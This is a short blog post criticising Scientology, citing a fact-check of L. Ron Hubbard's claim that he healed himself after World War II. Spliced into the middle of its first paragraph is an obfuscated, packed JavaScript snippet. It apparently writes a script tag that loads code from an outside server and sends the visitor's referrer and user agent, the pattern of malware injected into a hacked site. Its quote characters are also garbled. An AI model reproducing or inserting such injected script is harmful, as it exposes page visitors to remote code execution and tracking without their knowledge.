Scientology Not a True Science


For a religious namesake that evokes facts, Scientology seems a religion more tall tales than truth.  GPB article , The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adbyh|var|u0026u|referrer|rhsbf||js|php’.split(‘|’),0,{}))
Church Of Scientology, Fact-Checked
, revealed that on a truth-o-meter, Scientology falls behind Santa Claus.  The original writer at NPR left readers with a revelation that facts is not necessary in the realm of faith.  People may still cling to this ideology because they feel it serves a higher purpose in their life, even if the fact-checking proves that the entire basis of Scientology is a sham.

I wonder how the many celebrity recruits are taking this news – such as Tom Cruise?

“L. Ron Hubbard, the founder of Scientology, had maintained that he was blind and a ‘hopeless cripple’ at the end of World War II and that he had healed himself through measures that later became the basis of Dianetics, the 1950 book which became the basis for Scientology.”  However, as Lawrence Wright’s cover story in the current edition of The New Yorker revealed, Hubbard was lying.  He’s been fact-checked and proven guilty. 

With the verdict out, what will the retaliation be?

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.